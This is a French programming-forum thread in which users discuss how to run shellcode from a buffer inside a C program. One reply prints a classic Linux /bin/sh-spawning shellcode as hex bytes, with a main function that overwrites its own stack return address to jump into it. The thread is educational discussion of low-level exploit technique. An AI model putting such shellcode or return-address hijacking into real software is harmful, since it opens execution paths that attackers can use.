IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

C Discussion :

ASM dans programme C


Sujet :

C

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre confirmé
    Profil pro
    Inscrit en
    Février 2008
    Messages
    126
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2008
    Messages : 126
    Par défaut ASM dans programme C
    Bonjour a tous, voila ma question et simple comment faire executer un code ASM en l'occurence un shell code dans un programme C?
    J'avai penser a creer un pointeur sur mon shellcode et ensuite faire sauter ma fonction dessu mais j'ai beaucou de mal a realiser mon code source y a til une commande special pour executer mon shellcode dans mon programme c merci d'avance.

  2. #2
    Invité de passage
    Profil pro
    Étudiant
    Inscrit en
    Mars 2008
    Messages
    1
    Détails du profil
    Informations personnelles :
    Âge : 39
    Localisation : France

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Mars 2008
    Messages : 1
    Par défaut
    Si tu veux executer de l'asm dans ton code C, tu peux le faire en mettant dans ton code:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
     
    asm("codeAsm");
    par exemple asm("push eax");
    voila ++

  3. #3
    Expert confirmé
    Avatar de Melem
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Janvier 2006
    Messages
    3 656
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 39
    Localisation : France, Essonne (Île de France)

    Informations professionnelles :
    Activité : Ingénieur développement logiciels
    Secteur : High Tech - Électronique et micro-électronique

    Informations forums :
    Inscription : Janvier 2006
    Messages : 3 656
    Par défaut
    Citation Envoyé par battosai.mt67
    Si tu veux executer de l'asm dans ton code C, tu peux le faire en mettant dans ton code:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
     
    asm("codeAsm");
    par exemple asm("push eax");
    voila ++
    Bon tout d'abord tu utilises là une extension du langage C apportée par certains compilateurs dont gcc mais en plus ça ne répond pas complètement à la question.

    Citation Envoyé par chuko
    Bonjour a tous, voila ma question et simple comment faire exécuter un code ASM ... dans un programme C ?
    En utilisant l'assembleur en ligne, comme l'a montré battosai.mt67 si tu utilises gcc. La syntaxe est différente sous Visual C++ ou C++ Builder par exemple.

    Citation Envoyé par chuko
    J'avais pensé a créer un pointeur sur mon shellcode et ensuite faire sauter ma fonction dessus mais j'ai beaucoup de mal a réaliser mon code source y a t-il une commande spéciale pour exécuter mon shellcode dans mon programme C ?
    Il n'y a pas de commande spéciale. Tu crées un buffer contenant le code à exécuter, tu pointes sur ce buffer avec un pointeur de fonction puis tu appelles la fonction. Le code contenu dans le buffer doit donc être le code d'une fonction complète. Il "suffit" donc de bien connaître le langage machine du processeur utilisé.

  4. #4
    Membre confirmé
    Profil pro
    Inscrit en
    Février 2008
    Messages
    126
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2008
    Messages : 126
    Par défaut
    merci pour vos reponse elle sont plus clair que je ne l'esperai n'avrez d'avoir repondu si tard mais jusque la personne n'avai repondu merci encore je vai essayer de sivre vos conseil

  5. #5
    Membre chevronné Avatar de dapounet
    Profil pro
    Étudiant
    Inscrit en
    Juillet 2007
    Messages
    469
    Détails du profil
    Informations personnelles :
    Localisation : Belgique

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Juillet 2007
    Messages : 469
    Par défaut
    Citation Envoyé par Melem Voir le message
    Bon tout d'abord tu utilises là une extension du langage C apportée par certains compilateurs dont gcc mais en plus ça ne répond pas complètement à la question.

    En utilisant l'assembleur en ligne, comme l'a montré battosai.mt67 si tu utilises gcc. La syntaxe est différente sous Visual C++ ou C++ Builder par exemple.

    Il n'y a pas de commande spéciale. Tu crées un buffer contenant le code à exécuter, tu pointes sur ce buffer avec un pointeur de fonction puis tu appelles la fonction. Le code contenu dans le buffer doit donc être le code d'une fonction complète. Il "suffit" donc de bien connaître le langage machine du processeur utilisé.
    Ça m'intéresserait d'avoir un exemple concret.

  6. #6
    Membre Expert Avatar de nicolas.sitbon
    Profil pro
    Inscrit en
    Août 2007
    Messages
    2 015
    Détails du profil
    Informations personnelles :
    Âge : 42
    Localisation : France

    Informations forums :
    Inscription : Août 2007
    Messages : 2 015
    Par défaut
    J'avoue ne pas voir trop le rapport entre un shellcode et un pointeur de fonction melem, je n'ai même jamais vu de shellcode basé sur des pointeurs de fonctions, d'ordinaire, on s'en sort avec un truc du genre :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #include <stdint.h>
     
    char shellcode[] =
       "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
       "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
       "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
       "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
     
    int main (void)
    {
       intptr_t *ret = (intptr_t *)&ret + 2;
       (*ret) = (intptr_t)shellcode;
       return 0;
    }
    fonctionne sous linux i386/x86_64 (shell spawning shellcode : un classique sans la gestion des NUL bytes).

  7. #7
    Membre chevronné Avatar de dapounet
    Profil pro
    Étudiant
    Inscrit en
    Juillet 2007
    Messages
    469
    Détails du profil
    Informations personnelles :
    Localisation : Belgique

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Juillet 2007
    Messages : 469
    Par défaut
    J'avais essayé ça mais ça plante :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    unsigned char shellcode[] = "\xC3";  /* RET */
     
    int main (void)
    {
      void (*f) (void) = (void (*) ())shellcode;
      (*f)();
     
      return 0;
    }
    Pourtant ça a pas l'air faux :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    0000000000400530 <main>:
      400530:	55                   	push   rbp
      400531:	48 89 e5             	mov    rbp,rsp
      400534:	48 83 ec 10          	sub    rsp,0x10
      400538:	48 c7 45 f8 40 06 50 	mov    DWORD PTR [rbp-8],0x500640
      40053f:	00 
      400540:	48 8b 45 f8          	mov    rax,DWORD PTR [rbp-8]
      400544:	ff d0                	call   eax
      400546:	b8 00 00 00 00       	mov    eax,0x0
      40054b:	c9                   	leave  
      40054c:	c3                   	ret    
      40054d:	90                   	nop    
      40054e:	90                   	nop    
      40054f:	90                   	nop   
     
    [...]
     
    0000000000500640 <shellcode>:
      500640:	c3                   	ret    
      500641:	00 00                	add    BYTE PTR [rax],al
    Je me disais que ça devait juste être parce que .data n'est pas exécutable mais le tien fonctionne en 32 bits... bizarre.
    Mais ça sert à quoi de tout mettre en hexadécimal en fait, c'est juste pour faire style ?

  8. #8
    Membre confirmé
    Profil pro
    Inscrit en
    Février 2008
    Messages
    126
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2008
    Messages : 126
    Par défaut re code asm dans C
    bonjour, bon je revient sur un poste que j'ai moi meme poste car je n'ai toujour, pas pu résoudre mon problème a savoir executer un shellcode contenu dans buffer dans un programme C.
    Sur vos conseil j'ai créer un pointeur sur mon buffer,le probleme etant que je sais pa comment faire sauter ma fonction dessu, si quelqu'un pouvait me mettre un code d'exemple juste pour que je comprenne le principe ce serai sympa vraiment merci par avance .

Discussions similaires

  1. Attacher un fichier à un mail dans programme C++.
    Par Hamdi Hedhili dans le forum MFC
    Réponses: 5
    Dernier message: 24/11/2005, 16h21
  2. Probleme code asm dans .c
    Par sorry60 dans le forum C
    Réponses: 5
    Dernier message: 18/04/2005, 13h15
  3. Inclure de l'ASM dans du C
    Par Condor7 dans le forum x86 32-bits / 64-bits
    Réponses: 7
    Dernier message: 22/05/2004, 14h57
  4. Coloration syntaxique ASM dans un RichEdit
    Par Crick dans le forum Composants VCL
    Réponses: 5
    Dernier message: 20/12/2002, 01h53
  5. [TP]code asm dans une procedure
    Par M.Dlb dans le forum Turbo Pascal
    Réponses: 3
    Dernier message: 17/08/2002, 20h43

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo